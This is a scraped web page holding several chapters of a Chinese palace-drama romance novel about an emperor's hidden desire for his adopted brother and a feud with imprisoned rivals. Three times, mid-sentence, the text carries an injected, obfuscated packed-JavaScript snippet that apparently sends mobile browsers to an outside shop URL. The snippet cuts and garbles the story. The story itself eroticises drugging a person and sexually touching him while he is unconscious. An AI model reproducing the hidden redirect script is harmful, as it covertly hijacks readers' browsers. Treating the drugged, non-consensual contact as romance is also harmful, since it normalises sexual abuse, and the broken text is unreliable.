或许真的是压抑得太久了,父王母后离心他要忍,无端苛责他要忍,下面十几个弟弟个个虎视眈眈他也要忍,就连乐湛跟从前一样凑上来亲昵地撞撞他的肩,叽叽喳喳跟他说些趣事他也要忍。 就为了不打破所有人的期待,要为了母后,为了萧家,甚至为了王室体面,为了那些不相干的所有人,他也必须要端起完美无瑕的面目,不允许那面具上有一丝一毫的裂纹。 李修宜双手扶着浴桶的边缘,帕子搭在面上,既是冷静,也是在无人看到的地方放空思索些什么。 隔着一层厚厚的卷帘,听见了乐湛蒙在风雪里的声音,“哥哥在里头吗?” 得到了确信的回答,少年人的声音鲜明起来,推开厚重的卷帘冲进来,带进来几分零碎的雪粒,“这天真是怪得没话说,早上还出了会儿太阳,现在就大雪纷飞的,哥哥你摸我的手冰不冰?” 乐湛趴在浴桶边,伸出通红的指尖拿给李修宜看,李修宜撤下帕子,不咸不淡说,“穿少了。” “你都没看一眼!”乐湛不满地抗议,见他还是不理,坏心眼地将冷冰冰的双手按在李修宜的臂膀上。 李修宜没有如预料一般被冰的一惊一乍,反倒是被冻麻木了的乐湛被暖意浸透,手上终于有了点知觉,舒坦地喟叹出声。 他的注意逐渐被李修宜臂上流畅的肌肉线条吸引,颇诧异地捏了捏,感叹这他得练多久才能成这样啊。 李修宜冷淡地收回手,“干什么?” 乐湛的手落了个空,没当回事,站起身就开始解腰带脱衣服,“下一趟水还得好一会才能烧起来,我快冷死了,我跟你一块。” “不行。” 李修宜的瞳孔骤然一缩,不等他拒绝,乐湛没听见似的,将自己脱了个精光,抬起修长细白的腿迈入水中。 边郡条件严苛不比邺城,李修宜亦不是作风奢靡的人,这浴桶也就刚刚够他的体格伸开腿,再加一个人就很局促了,乐湛刚坐下,水流就已经涌上桶面,瀑布般四溢出来。 水温不算高,甚至不比李修宜的身上温暖,乐湛还想叫人加点热水,未等他开口,李修宜已经打算起身。 “怎么我一来你就要走了?”乐湛拉住李修宜的手臂,“你最近老是对我爱搭不理的,我是不是哪里做错了叫你不高兴了?” 自北狄败俘嘴里听到自己并非王室血脉的事实已经过去了几个月,最开始李修宜杀了所有知情者,将这个秘密牢牢压下,全天下只有他们两人心知肚明,乐湛还在庆幸,即便是没有血亲关系,李修宜还是顾念旧情将他当做弟弟的。 可随着时间推移,李修宜对他的态度越来越冷淡微妙,那件事始终还是在两人心里产生了隔阂。 他迫不及待想用亲密的接触来连接骤然崩裂的血缘联系,一遍遍地证明什么也没发生过,他们还是至亲手足,可李修宜的态度表明俨然不是这样。 “要是我做错了能不能直接告诉我,别让我猜,我真的很害怕。” 乐湛抓住李修宜的手越来越紧,他已经得罪了杜获,也失宠于父王,要是没了李修宜的庇护才是真的坠入了万丈深渊。 乐湛抬头望着他,忐忑又带着央求,“是不是你再不把我当作弟弟了,你也厌恶我狄人的血统是不是?” 李修宜终于也意识到自己避嫌的行为太过,于是替他擦了擦泪眼,重又坐下,“我告诉过你,那件事烂在心里,对谁也不要再提。” 乐湛重重地点头,下定了什么决心一样。 即便李修宜厌恶他的血统,出于责任至少也会保住他一条命,乐湛终日悬空的心终于安了安,同时又有些不甘心,从前那样亲密无间的关系再也不会回来了。 侍从上来添了些热水,李修宜再度将帕子盖在脸上,不去看水影下交错的两条腿,忽略他有意无意的肌肤相触,将所有不该出现的念头驱散出脑海,“你刚刚要说什么?” 乐湛也带了点强撑的意思,将跟随万荃行军遇到的见闻说与李修宜听,得了几句指点就认真听着,而后又说几句俏皮话吹捧一番,得了李修宜一句笑骂,也跟着乐了。 只可惜徒有表面和睦,两个人怀着各样的心思,都在心里藏着掖着点什么不为人知的私隐,也都很有默契地互相遮掩着粉饰太平。 场子再度冷下去,隔着一层帕子,乐湛看不清李修宜的表情,只能顺着看下来,直到这时候他才不得不承认,他们没有血亲关系这件事并非是什么很难以置信的事,因为两个人的外貌可以说是相去甚远。 李修宜完全继承了皇帝的宽阔挺拔的体格,肌肉走向干净利落,每一处起伏都自然流畅,就连肩上几道横亘的刀疤也是锦上添花的作用,更添几分硬朗与气概。 乐湛最羡慕的就是这副身材,他一直对自己纤细瘦白的身体不甚满意,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李修宜闭着眼,耳边响起起身的水声,脑子里却是每一滴水淌过他白皙莹润的肌肤,流过每一寸起伏的骨骼,落到了地上,听见衣物簌簌的声响,他就能想象到乐湛浑身湿透穿上单薄的布料潮黏地贴在身上的情形。 真的疯了。 从前所有被刻意压制住情欲的本能如今都变本加厉地还回来,即便不用肢体接触,只是听见他穿衣的动静,所有淫恶的念头几乎堙没了他的理智。 李修宜一遍遍在心里强调那是他的弟弟,即便没有血亲关系也是他当了十几年亲弟弟的人,再怎么畜牲也不能幻想他躺在自己榻上,一遍遍将他翻来覆去地*。 无论如何他也要克制住,就像前面二十多年一样,他会一直忍到乐湛娶妻生子,忍着他儿孙绕膝,忍到他垂垂老矣,忍到两个人一起黄土白骨,所有违背伦理的念头通通化作一捧灰烬不复存在。 就想像母后忍受着父王宠爱一个个妃嫔,忍着后宫里的孩子一个个降生,忍到油尽灯枯人事不再。 人活着不就是一个忍字吗? 原本他是这么打算的。 若是没有邙山之乱,他一定会一直忍下去,可谁叫乐湛先做错了事呢? 李修宜仔细端详怀里熟睡的人,因着微微仰头,花瓣形状的嘴无意识微张,似是无声的邀请。 李修宜很少因为自己的选择两相迟疑过,既然已经下定了决心,那么他是一定要想个办法将人吃到嘴里。 他掐住乐湛后脖颈的手不自主地收紧,俯头吻上他微张的嘴唇,触碰到的瞬间好似感受到自己兴奋得发颤的灵魂。 舌尖溜过齿关,很轻易地攻城掠地,触碰到里面温软的舌头。 最先尝到的是淡淡清苦的药味,他看乐湛喝了十几年的药,第一次尝到味道居然是在他的嘴里。 本就浅淡的苦味在他近乎痴迷的一遍遍舔舐吮吸里几乎感受不到了,转而浮现出似有若无的香甜气息,介于花于果之间,是新生之际还未熟透的青桃,花蒂未落,还泛着淡淡的生涩。 所有的爱欲和不可控的憎恨在这一吻里化作了浓烈而克制的食欲,他恨不得将他整个人吞吃下腹,连同他的骨头也在牙关里狠狠嚼碎了咽下去。 乐湛的舌也是无意识的,软若无物,任凭如何吮吸舔咬也做不出任何反应,被缠卷得密不可分又瞬间垂下去。 尽管在药物作用下失去意识,但身体的本能反应还是存在的,李修宜越吻越深,几乎深入喉口,乐湛本能的要作呕,却被严密的吻堵住,口舌之间溢出些噫噫嗯嗯的零碎声音,转眼又被淹没在糜乱的水声里 被逼出来的泪水顺着滑下,淹没在二人唇舌之间,化作微不足道一丝咸。 乐湛两只手抵在李修宜胸口,被吻得有些难受了,推开的力气就大几分。 感受到怀里挣扎的力道逐渐大了,知道他憋得不行了,李修宜终于肯放开他喘口气,睡梦里的人张着嘴紊乱地喘息着,胸口微微起伏着,唇上是烂熟的色泽,李修宜抬手拭去他嘴角淌下的一道水渍。 畜牲不如,可那又怎么样? 他很平淡地接受了他就是个畜牲的事实。 23. 鬼热闹 乐湛刚醒还不觉得,直到用膳的时候才发觉舌尖上有点刺痛,像是被什么东西给烫了一下的痛,可是一回想又没什么印象。 正卷着舌尖思索的这会儿,宫人上了一碟山药糕,他才想起他吃了山药舌头是会有些刺痒,于是他这回一筷子也没碰,想着过两天就自己就好了。 谁想不旦没好转,原本看不出来的伤处的舌尖越发红肿,像舔着一粒血珠。 乐湛趴在镜子跟前苦思冥想半天也没个头绪,他舔了舔舌尖,还是疼得碰不得。 真见鬼了,到底怎么弄的? “王爷,该喝药了。” 乐湛应了声,跟着去了上清殿。 他走到御案跟前,隔着一道桌案的距离能让他感到些许的安全感。 李修宜抽空瞥了他一眼,指尖点了点旁边的桌面,“过来点。” 乐湛听话地绕过御案,走到李修宜身边,一只手臂将他拦腰揽起来搁在腿上,这几日李修宜一定要抱着他喝药,乐湛即便不适应,但以他现在这个处境,能有办法讨好李修宜肯定是没坏处的,他自幼就会看李修宜的脸色,这么多年下来功力只进不退,李修宜伸个手乐湛就知道将自己送到他手里。 乐湛面上看不见一丝不乐意,反倒撑着李修宜的大腿根挪了一下位置,好坐得更稳一些,小心试探了一句,“哥哥,今天的药还喝吗?” “你说呢?” 乐湛只好捧起药碗,做好一饮而尽的准备,临入口之前忽然想到什么,猜想会不会是这药里有什么刺激舌头的成分,他觉得这番猜想不是没有道理,觉得试上一试,于是将舌头垫在碗壁下面,好让药汁不通过舌头进入口中。 谁料一下没控制好速度,药汁从嘴角旁溢出,顺着下巴流向雪白的脖颈,一直流向衣襟下面,乐湛含着最后一大口药,鼓着腮,昂起脖子想找点可以擦拭的东西。 李修宜从宫人手里拿来一方帕子给他擦嘴,“这是怎么个喝法?搞得漏了一身。” 乐湛很艰难地咽下苦胆汁似的药,很想当然的说,“不是,因为这两天感觉舌头有点痛,那个药里面有点伤舌头的东西,我想避着点伤口喝。” 李修宜擦到脖子,动作停了,视线却是盯着衣领下面,舔了舔罪魁祸首的牙,轻轻地道,“疼吗?” “疼啊,吃热的或是咸的都会很疼,连喝水都要避开点喝,”乐湛一边说着一边扯开领口,好让李修宜给他擦擦,低头念叨,“都流到下面去了,” 身前一片大光,白得耀目,隐约可见两点极为浅淡的樱粉色,藏在青色的衣襟下不敢见人似的,随着乐湛动作偶尔探出来张望两眼,一道浅褐色的药汁从锁骨中间淌下,他的皮肤似是很薄,能看见底下的青紫脉络,擦过的地方很快浮出点薄红,是那种轻轻一碰就会留下痕迹的身体。 李修宜垂下了眼,眼中隐晦的暧昧和欲色看不真切,乐湛仍是浑然未觉,摸了摸身上被药汁淌过的地方,“有点黏。” 要换做从前,李修宜肯定会压制住内心那些龌龊的想法,将乐湛有多远撵多远,断绝一切让他脱轨的可能。 但谁让他是畜牲呢,他不会拒绝一切邀请。 一只骨节分明的大手贴上来,几乎覆盖了乐湛整个胸腔,拇指指尖拭过药汁沾过的地方,却又醉翁之意不在酒地在胸侧流连一瞬,指腹的薄茧有意无意地掠过那一点薄粉,方才搁笔的动作有些匆忙,以至于指节上染了一点墨迹,现在全蹭在了乐湛身上。 “是有点,回去洗洗吧。” “好。”乐湛拉上衣服要下去,他对李修宜的触碰并不抵触,或许是因为过于熟悉的缘故,李修宜在他心里就和母后是同一位置,再亲昵的举动也是归属于亲情范畴的,根本不会让他往那方面想。 李修宜没有放他走的打算,“待会帮你洗,现在先陪我把这几道奏折看完。” 乐湛很自然地以为李修宜是要下人帮他洗,毕竟他从来不是伺候人的主,撑在李修宜腿上的手卸了力气,困劲上来了就着靠在他的身上,仍是乖巧点头,“好。” 翌日再醒过来,身上果然清清爽爽换了一身衣服,只是伺候的宫人似乎有些太不上心了,连系带都没给他系好,好在舌头上的痛也缓解了不少,舌尖还残留一股清凉的薄荷脑气味,就是嘴唇有点麻麻的。 * 天牢里,李锦玉满身血污狼狈埋头在杂草里,手臂以常人难以达到的角度扭曲着,浑然不见半分从前天皇贵胄的尊贵。 他试着动弹了一下,立刻痛的想骂人,他这表兄,说断手还真断啊,做做样子就行了嘛,还真一点情面不留啊。 门外的侍卫将托盘透过底下的小门递进来,“饭来了,吃吧。” 李锦玉抬起脖子瞟了一眼,“这回不是泔水了,这是要送我上路啊?” “是我吩咐的。” 李锦玉看向说话的人,尝试着想了一想,但是想不起来,“你谁?” “在下都指挥使宋邈,小小官名恐怕入不了王孙的眼。” “确实,不认识,”李锦玉扬起脖子喊人,“有没有人啊,先把我的手接上,不然我怎么吃饭啊!” 宋邈就这样被无视了,顿时心中鬼火直冒,但他知道邺城的那群贵人们最喜欢端着和善又高傲的样子,他也跟着有样学样,“我父亲是平阳侯宋弘毅,所以我想问问王孙,是这天牢待得舒服还是你们东平王府待得舒服?” 说起平阳侯宋弘毅,李锦玉有些想起来了,他哼笑,“原来如此。” 宋邈也跟着眯起笑眼,就听李锦玉下一句悠悠说道,“还以为多大的仇呢,就因为这个?要搞死我?不至于吧。” 宋邈的笑意下一刻冷下去,“什么?” “这会儿又装什么傻,原本哪支禁卫不就是你故意调回去的,以为自己做的多干净呢?” “这是正常的调度,你没有证据,况且你一个阶下囚,谁又会信你说的话。”宋邈强作镇定。 “证据?”李锦玉像是听见了什么笑话,“又不是升堂办案,需要什么证据?你以为我看出来了,李璟就看不出来,我表兄就看不出来吗,他只是现在不想处置你,感谢自己有个好爹吧。” 宋邈脸色一僵,瞬间想起那日上清宫前,李璟回头看他的那个眼神,难道他真的已经猜到了?他自以为天衣无缝的手段却是人尽皆知。 可转眼想到春日宴那天,皇帝明明知道他是始作俑者却没有丝毫要处置他的意思,皇帝果然还是宽纵他的,想到这里他瞬间有了底气。 李锦玉整整两天没吃东西,饿得前胸贴后背,顾不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171723|196832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上杂错的骨节,一个翻身直直坐起,起身走到小门跟前,用稍微好点的那只手抓起一个馒头,饿死鬼一般狠狠地咬了一口,虽然手臂上的痛得他快岔过气去了,但是饭还是得吃呀。 “知道我在给你下套,你还自己钻进去?” 李锦玉嚼着馒头,头顶着杂草也掩饰不了那份骨子里的桀骜,“因为不在乎。” 就算被发现闯了禁也不过是被教训几句,关上几天,对他来说都一样,哪里比得上羞辱李璟几句来得让人痛快呢,只是没想到会忽然对他起了心思,还搞得天下皆知。 李锦玉是生在锦绣堆里的人,作为王府独子独孙,先帝的半个儿子,皇帝的表弟,他这一辈子顺的有些过了头,唯一不同的是,他不像李修宜那样背负着严苛的要求和责任,王府的人对他百般纵容,无可不为,反正会有一大堆人争相为他擦屁股。 世上之事对于他来说过于唾手可得,李锦玉只能感觉到虚无,像一缕幽魂漂浮在空气里,已经没有什么事能让他感到真正的快乐,他必须做点什么让平静地如同一潭死水的生活荡起一丝波澜,酒色也好,痛苦也好,他必须再一次摸到生命的实质。 想起那一次进宫,他看见站在台阶上的李璟,两岸凌霄花开得如火如荼,一路顺着嶙峋的假山烧下来,两个人第一次见面,李锦玉就看他不爽快,一个狄人的野种,仗着皇后的宠爱在他面前充个人样,他也配? 但是就连他自己也没有注意到,即便是厌恶的情绪,也让他感受到了从未有的趣味,直到那一次冷宫里将李璟按在桌子上,他真正将这份转瞬即逝的趣味握在手心里,也是第一次意识到,好像是哪里错了,从一开始就错了。 李锦玉神游了一会,而后收束深思,看着宋邈,本来可以做个风流鬼的,都怪这人坏他好事,李锦玉绝不是什么宽容大度的人,被人算计了这么一会怎么可能轻易放过他,只一个念头过去就有了主意。 “该说你有个好爹呢,还是皇帝对你不一般呢,祭奠上的祸事分明是我们三个人造成的,他不可能没看出来,却只处置了我跟李璟,偏偏将你这祸首放过去了,”李锦玉忽然情绪激动扒着栏杆,“你一个下贱的土匪凭什么!我从来没有见过陛下待谁如此纵容过!就连我跟李璟也比不上你的万分之一,你凭什么!” 如果是别的什么时候被骂土匪,宋邈必然大为恼怒,但是现在看到李锦玉这副勃然大怒的样子,竟成了他胜出一筹的勋章,原本被戳破的心虚此刻已经加倍膨胀成了恃宠而骄的得意。 陛下待他肯定是不一样的。 “先顾好你自己吧。”宋邈倨傲瞧着他,直到这时候他才体会到原来邺城那些贵人的乐趣,冷眼看着别人崩溃愤怒绝望原来这么痛快。 李锦玉昂着脖子,朝着他转身离开的背影恶声诅咒,“你最好祈祷永远如现在这般圣眷优渥,最好陛下一直这般护着你宠着你!不会落得我这番下场。” 宋邈头也不回,傲声道:“这个不用你操心。” 人走远了李锦玉才收起声嘶力竭的样子,盘腿扶膝又啃了一口馒头。 不好意思了表兄,你既然真这么狠心下死手,那我也不得不恶心你一回了。 再过不久外面又有鬼热闹了,只可惜被关在这里看不了,大憾啊大憾。 24. 嘴贱打嘴 新帝登基已有月余,四方战乱平息,又免冤狱以慰民心,从前受党祸所害的民众终于得以调养生息,上下一片安宁,大有中兴之象。 只是中宫之位久缺,六宫空虚,椒风未立,朝臣屡屡谏言,终未得允。 民间开始流传一种说法,据说中宫之位并非空悬,新帝在三年前遇难之际被一民女所救,二人一同出生入死躲避歹毒小人的追杀,生死患难之际两情相许。 新帝甚至许下白首不渝的承诺,为了那一个人叫整个后宫空悬至今。 这种传说流传极广,因其极具风月色彩而广受欢迎,一时间成了茶馆最卖座的话本。 宋邈很自然地将自己带入进去,他父亲是助皇帝夺位的头号功臣,皇帝待他更是非同寻常,就连犯了破坏祭祀那样的大罪都能被一笔揭过,传言里和皇帝生死患难的人除了他还有谁? 想起方才李锦玉的话,宋邈不自觉嘴角扬扬,转而想到春日宴过后已经很久没有见到皇帝了,便打算去一趟上清殿。 大梁连年的战乱内乱导致民生凋敝,而黄河一代常有涝灾,朝臣商议在黄河一代建设渠沟,改道分流,这项举措甚至在先帝时期就有人提出过,不过因为工程太过繁浩,又时逢战乱而不了了之。 乐湛与杜获当权时,涝灾成了当时政局的心腹大患,治理黄河的声音再度高涨,只可惜在刚冒出雏形的时候就因为占地原因,受到各方势力的阻碍,最终被再度搁置。 马上又要到夏涝的时候了,李修宜不眠不休好几日,同段太师齐鄯见一干人商议治理黄河的举措,力争再此之前将涝灾遏止。 天色渐晚,朝臣有序告退,李修宜单留了齐鄯见一人协助处理公务。 跟着熬了好几夜,齐鄯见现下顶着眼下一对乌青,困得两眼发直,“知道陛下您精力超群,非常人所能及,但是能不能稍微善待一下您衷心耿耿的臣子,把我当个人行吗?” 李修宜捏了捏眉心醒醒神,面上却未见多少疲乏之色,头也不抬道:“怎么?怀念在陇西的时候了?觉得还是在那里待得比较舒坦?” 不出意外的话,下一句肯定要恐吓打发他去陇西了,齐鄯见赶紧表忠心,“微臣可全无此心啊,能为陛下效犬马之劳是天大的荣幸,哪敢谈什么舒坦不舒坦。” 就知道他拿乐湛挑衅的那一回刺激到皇帝,惹得他心里不痛快了,这不就立马报复来了,拿他当鹰熬,真有够小心眼的。 正这时候,何岑上前启禀称宋邈在殿外求见。 齐鄯见想起来了这么一号人,望平,春日宴,还有射箭,几个印象在他脑海里组成一张寡俗倨傲的脸,那日宋邈说着舞文弄墨没意思,得罪了不少人,包括以学问著称的齐鄯见在内,但齐鄯见不是什么爱计较的人,想起来宋邈在殿外求见有些时候了,就替他问了一句,“陛下不宣吗?” “他能有什么要事,总不过是又要跑到朕跟前呛声,不必理会。” 李修宜目前为止还以为是宋邈对他心有不满,也没时间去跟一个毛头小子计较。 “陛下是这么以为的,那位可就不一定了。” 关于中宫空悬的传言一天也没有停歇,春日宴当日皇帝对宋邈的纵容众人看在眼里,加上宋邈本人时常将皇帝的宠爱挂在嘴边,便有人猜测皇帝有龙阳之癖,那些风言风语没有一个字敢飘进李修宜的耳中,但齐鄯见却没少听说。 “你想说什么?”李修宜狐疑道。 齐鄯见反倒有些诧异,“这些天宫里的风声陛下一点没有听说?那臣也最好不要开这个先例,免得陛下要将我乱棍打死。” 李修宜沉默了,很明显,有些事情的发展超乎了他的本意。 “宣。” 宋邈进殿,还没来得及高兴拜见,就看到了旁边的端坐着朝他友善一笑的齐鄯见。 “你这么会在这?” 方才郎官一直跟他说陛下里头正忙,原来是忙着和这个人相处! “这就怪了,我为何不能在这里。”齐鄯见摸不着头脑,纳闷这人怎么摆出一副捉奸的正宫做派。 宋邈感受到了莫大的威胁,听说齐鄯见从前是太子伴读,和皇帝是从小到大的交情,后来随李修宜驻守边郡为其帷幄之臣,关系匪浅自不必说,宋邈和齐鄯见就像是截然相反的两个对立面。 齐家是邺城中顶级的门阀世家之一,就连和萧家也沾了姻亲,齐鄯见本人的声望却完全不依靠其显赫的家族,三岁能诵五岁能辩,不到十岁就已经写下绝笔文章,神童之名天下皆知,但他对仕途的欲望并不强烈,这么多年只甘愿留在李修宜身边做一个谋士。 倘若要比的话,宋邈直接被碾入尘埃里,连他自己也没有注意到隐约的自惭之意在心底膨胀,一旦泄了个口子,就变成加倍的无礼与倨傲。 “你明明知道我在外面有事求见,你故意在里头拖着陛下,安的什么心?” “我?”齐鄯见指了指自己,简直给他冤得没话说,回头看皇帝。 李修宜从小到大受到过的忤逆屈指可数,即便与人为善的面目装的再高明,但这并不代表他能容许有人敢在他面前放肆。 “朕是不是告诫过你,不要失了规矩,这是在做什么?”他略皱一下眉头,指尖已经不自觉轻轻敲着桌面,那是烦躁的动作。 宋邈满脸不高兴地转向他,并不恭敬道:“可是陛下也说过我这是孩子心性,不用刻意压制,难道陛下身为皇帝说话不算话吗?” 齐鄯见爱好隔岸观火的毛病又上来了,心想这小子居然敢这么跟李修宜说话,连他都得忖度忖度分寸。 李修宜捏了捏眉心,不欲与一个半大的孩子争论,“有何要事要禀?直说。” 宋邈将他的态度当成宠溺妥协,挑衅地看了一眼齐鄯见,转过头直言不讳道,“一定有事要禀才能见陛下一面吗?陛下是不是都快忘了多少天没有见我了,难不成这些天就是在跟这个人在一起?” 竟是跑来问责起皇帝来了。 齐鄯见看好戏的心情都没了,暗中诧异地看向李修宜,那眼神活生生就是在说:“霍!感情你俩有一腿啊,早说啊。” 搞得他成奸夫了,这不误会大了。 李修宜从来不是什么迟钝的人,想起齐鄯见刚刚的欲言又止,结合宋邈说的这一番话,当下竟是觉得有些荒谬可笑,他嘴角扯出一丝冰冷的弧度。 “不知道你是哪里产生的错觉,但是朕记得告诉过你,摆好自己的位置,为臣子者做好自己分内的事,朕的事尚还轮不到你来指手画脚。” 一番话再也没有第一次那样留有情面,像一把刀一样毫不留情刺进宋邈的心窝里再拔出来,带出来一串血流如注,他的脸色青紫变换极其难看。 他万万没想到皇帝能这么轻易地一口否决掉自己引以为傲的特殊,尤其还是在齐鄯见面前,宋邈更觉得浑身的力气都被抽空了,心神摇晃地后退一步,皇帝怎么可能对他只是和对待一个臣子无差? “你在骗我,”宋邈颤抖着声音说,“你怎么可能对我无意,明明春日宴上还特许我射箭,别人都没有这样的对待。” “只是因为这个吗?”李修宜略皱一下眉头,“我待你宽容是因为你自幼未被拘束,一时纠正不过来朕可以谅解,允许你射箭只是觉得宴会上沉闷了些,仅此而已,这么说你能明白吗?” 李修宜从不会对自己的行事有一丝摇摆,更不会考虑是不是他无意之举让人会错了意,从来都是他人揣摩李修宜的心思行事,他从来不会去考虑一只无关紧要的蚂蚁的所思所想。 “可是……可是陛下知道祭典上的事与我脱离不开关系,您不是也没惩罚我吗?” 因为祭典当日宋弘毅刚封侯,李修宜不想那么快向宋弘毅为首的新贵功臣释放不友好的信号,况且宋邈在这件事里藏得很深,他盘根问底除了将事情宣扬得更加难看没有任何好处,没想到这件事最后也能被解读成这样。 李修宜被胡搅蛮缠得有些心烦了,“朕知道这件事是你做的,所以在宴会那日警告过你,让你小心做人,朕是因为看在你父亲的情面上才暂时按下不表,看来你还没有明白朕的意思。” 宋邈仿佛遭受了莫大的打击,撇头就看见齐鄯见看热闹不嫌事大地看过来。 偏偏是在这个人面前!宋邈觉得丢脸。 他更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这个人已经不适合继续待在御前,带回去好好管教,别叫朕代劳,你知道人落在朕手里会是个什么下场。” 皇帝到底念着宋家的功勋,不愿落得兔死狗烹的名声,因而高抬贵手放过了宋邈这一回。 宋弘毅一万个感恩戴德,丝毫没有儿子被削职的怨怼,赶紧跪谢皇帝仁厚,应承会好好管教儿子,一定不叫他再跑到御前污了皇帝的眼。 隔日,一列卫队走进诏狱,奉承圣令对东平王孙处以拔舌之刑。 邺城之中,只要是李修宜想知道的,任何一句话都会传进他的耳中,即便是诏狱之中也不例外。 一旁的东平王李执听见了险些晕过去,被儿子儿媳搀住连连按人中才没一口气过去,回过神来再也顾不上体面,拍着大腿痛哭流涕起来。 皇帝不愿意宽恕李锦玉一条命,李执即便日日去求也不得召见,无法,他只能诏狱门口守着,时时进去确认孙儿还活着,贿赂了狱卒稍加照料才能安下点心来。 李执缓过神来,连忙拉住了为首的中郎将,老眼昏黄,声音哽咽得不像话,“陛下当真如此狠心,执意要了小儿的性命?” “陛下有令,臣等不敢违逆。” 明知徒劳无功,李执仍是死死攥住中郎将的袖子,因为李执知道,要是放他进去,他那不成器的孙子自怕今日就要交代在这里了。 中郎将无意得罪他,但是皇帝的命令给他十条命也不敢抗旨,他四下看了一眼,压低声音道,“东平王若是还想保住这个人,不妨去求求齐王。” “齐王……” 昏黄的老眼里似乎亮了一点光,是绝处逢生的意思。 “由他去求陛下,或许会有希望得多。” 即便是齐王犯下如此悖逆之举皇帝也饶他不死,这个人的分量似乎远超众人预料,再者说了,齐王能活着少不了李锦玉那道圣旨,齐王该是欠着李锦玉一道人情的。 李执瞬间被点拨得拨开迷雾见月明,感激涕淋就要行礼谢他大恩。 “东平王切勿多礼,要尽快了,我等不敢拖延多少时间。” 李执再不敢耽搁,拍拍褶皱遍布的衣袖,转身朝着宫门走去。 25. 享用美味自助中 “让我去给李锦玉求情?”乐湛在宫道上被拦下,听李执拉着他的手说了一通,顿感荒谬道,“找错人了吧?” 开什么玩笑?他现在尚且还朝不保夕,在李修宜面前半点悖逆也不敢有,怎么可能为了区区一个仇人去求李修宜,嫌命太长了吗? “不错!”李执眼珠一亮,激动地上前一步,握住乐湛的手也更紧了,“陛下看重你,若是由你去为锦玉求情,他活下去的概率就会大大增加,这条命留不留得住,全在齐王你的一念之间了!” “东平王怕是还没搞清楚情况,最想让李锦玉去死的人不是皇帝,是我才对。” “皇祖父知道你们从前不对付,但是当日在上清殿锦玉不是也将唯一的活下去的机会让给你了吗?说明你们二人再怎么打打闹闹,在大祸跟前还是愿意拉彼此一把的,你如今是转危为安了,为什么就不能拉锦玉一把?” “快别说笑了,”乐湛毫不留情抽出手,“且不论皇帝肯饶我一条命靠的根本就不是那道无字诏书,我现在一条命也悬在半空,半点行差踏错也不敢,和李锦玉的那点交情根本不足以让我为他豁出一条命。” 更何况当日那么耻辱的一面叫所有人看见了,风言风语飘了满城,程繇不可能没听说过,但她从头到尾一个字没有在他面前提起,她越是怕他生气,乐湛就越是感到恶心耻辱,造成这一切都要仰仗李锦玉。 “就算是陛下不认那道诏书,可他为了救你至今还身处诏狱之中,这些情谊难道也一文不值吗?”李执开始斥责他起来了,“做人不好这样忘恩负义。” “我忘恩负义?”乐湛震惊这老东西颠倒黑白的能力,“麻烦东平王搞搞清楚,要不是他闯入冷宫乱来,我何至于让人看了笑话,成了所有人饭后的谈资笑柄,我现在不落进下石搞死他已经很不错了!” “还请让路,我现在要去面圣了。”乐湛沉声说道,不欲与他继续纠缠。 李执拦住他转身要走的路,“齐王是非要我这把老骨头跪在你面前求你吗,好,我跪!” 乐湛自然担不起这一跪,连忙抬手阻止,“你这是做什么,你就算求我也没用,谁告诉你我去求皇帝他就一定能赦免李锦玉的?皇帝的决定岂是你我能左右的?” “陛下必然是愿意听你的呀,就连邙……你们都能冰释前嫌,足以说明陛下还是顾念手足亲情的,如果是你去请求圣恩宽恕一定能成的!” “可是我没打算原谅李锦玉,我就是想看着他去死,这样你能明白吗?”乐湛吃力地扶着屈膝要跪下的李执,脸色尽是不耐烦的戾气。 李执悲上心头,年纪大了情绪一激动毛病就浮上来了,嘴角抽搐两下,眼睛往上一翻就要中风昏厥的样子,随之而来的人纷纷着急涌上来,“王爷!王爷!快把养心丸拿给王爷服下。” 乐湛有些手足无措地挠了挠脸,“没事吧?” 李执瘫软在地上,由着随侍们喂他喝下要舒舒胸口,他闭了眼睛养神,嘴里道,“求齐王救救我那不争气的孙子,我这条命赔给你也情愿啊!” 乐湛无可奈何蹲下身,“我要你这条命做什么?” 李执服下了养心丸,终于缓过了神,推开随侍挡住的手,爬起身伏地跪下,乐湛想拦都拦不住,“好了!” 他低声喝止,颇具几分当权时的威严,“我只能尽力试试,不担保一定能成。” 李执先是一愣,原本已经做好白发人送黑发人的准备,乍一听这话,如蒙大恩般两眼放光,“只需一试!这已经是我东平王府最后的办法,不管成与不成,我都记下齐王今日的大恩,来日定举全族之力相报!” “先说好了,我这么做只是卖你一个人情,跟李锦玉没有任何关系。” 李执岂有不应,连声感恩。 心里揣着这件事,在看到李修宜的一瞬间乐湛忽然有点心虚,虽然连他自己也不知道在心虚什么,面上仍挂出一副很亲昵的模样,“哥哥。” 李修宜听见声音,仍是目不斜视,很自然地伸出手臂,乐湛亦很顺从地走进他的怀里,搂着李修宜的脖子抱了一下,就着这个姿势坐到他的腿上,药还没到,乐湛便缩在他怀里安静等着。 李修宜的字很是端方标准,甚至不逊书法大家,在他身上看不到任何短板,这也是乐湛最艳羡的,好像只要是他想做到的就没有做不成的事。 指尖点在了李修宜的略微紧绷的指关节上,李修宜顿了顿,“怎么了?” 乐湛摇摇头。 只是没有任何缘由的触碰,看见了突发奇想想碰一碰而已。 